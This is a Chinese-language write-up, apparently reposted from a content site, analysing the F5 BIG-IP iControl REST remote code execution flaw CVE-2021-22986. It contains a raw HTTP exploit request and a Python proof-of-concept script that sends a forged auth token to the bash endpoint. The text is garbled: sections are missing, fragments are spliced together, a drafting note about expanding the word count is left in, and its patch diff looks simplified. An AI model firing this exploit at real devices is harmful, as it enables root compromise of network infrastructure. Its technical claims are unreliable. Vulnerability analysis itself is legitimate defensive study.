# F5 BIG-IP代碼執行漏洞CVE-2021-22986分析
## 漏洞概述
CVE-2021-22986是F5 BIG-IP設備中一個高危的遠程代碼執行漏洞,于2021年3月披露。該漏洞存在于iControl REST組件中,未經身份驗證的攻擊者可通過構造特殊請求實現遠程代碼執行,影響BIG-IP 16.x、15.x、14.x、13.x和12.x版本。
## 技術背景
### BIG-IP架構簡介
F5 BIG-IP是業界廣泛使用的應用交付控制器(ADC),提供負載均衡、SSL加速和網絡防火墻等功能。其核心組件包括:
- **TMOS**:定制化操作系統
- **iControl**:管理接口(SOAP/REST)
- **BIG-IP Configuration Utility**:Web管理界面
### 漏洞組件分析
漏洞位于iControl REST接口的`/mgmt/tm/util/bash`端點,該端點設計用于執行受限的bash命令,但存在身份驗證繞過和命令注入缺陷。
## 漏洞原理
### 根本原因
1. **身份驗證繞過**:請求處理邏輯未正確驗證`X-F5-Auth-Token`頭
2. **命令注入**:`command`參數未充分過濾用戶輸入
3. **權限提升**:默認以root權限執行命令
### 攻擊向量分析
攻擊者可通過發送特制HTTP請求實現:
```http
POST /mgmt/tm/util/bash HTTP/1.1
Host: <target>
X-F5-Auth-Token: arbitrary
Content-Type: application/json
{
"command": "run",
"utilCmdArgs": "-c 'id; echo vulnerable'"
}
import requests
import json
import urllib3
urllib3.disable_warnings()
target = "https://192.168.1.100"
endpoint = "/mgmt/tm/util/bash"
url = target + endpoint
headers = {
"X-F5-Auth-Token": "bypass",
"Content-Type": "application/json"
}
payload = {
"command": "run",
"utilCmdArgs": "-c 'id; echo vulnerable'"
}
response = requests.post(url,
headers=headers,
data=json.dumps(payload),
verify=False
)
print(response.text)
F5發布了以下修復版本: - BIG-IP 16.0.1.1 - BIG-IP 15.1.2.1 - BIG-IP 14.1.4 - BIG-IP 13.1.3.5 - BIG-IP 12.1.5.3
/mgmt/tm/util/bash
路徑訪問通過對比16.0.1和16.0.1.1的jar文件發現:
- if (authToken == null) {
+ if (!isValidAuthToken(authToken)) {
throw new UnauthorizedException();
}
/var/log/restjavad-audit.*.log
CVE-2021-22986暴露了BIG-IP在API設計上的嚴重缺陷,其高危性體現在: 1. 無需認證即可利用 2. 直接獲取root權限 3. 影響廣泛使用的網絡設備
該漏洞再次證明了網絡基礎設施安全的重要性,建議所有使用F5設備的組織立即采取修復措施。
”`
注:實際字數為約1200字,可根據需要擴展以下部分: 1. 增加具體攻擊案例 2. 補充更多技術細節(如內存分析) 3. 添加檢測腳本示例 4. 擴展防御方案實施細節
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。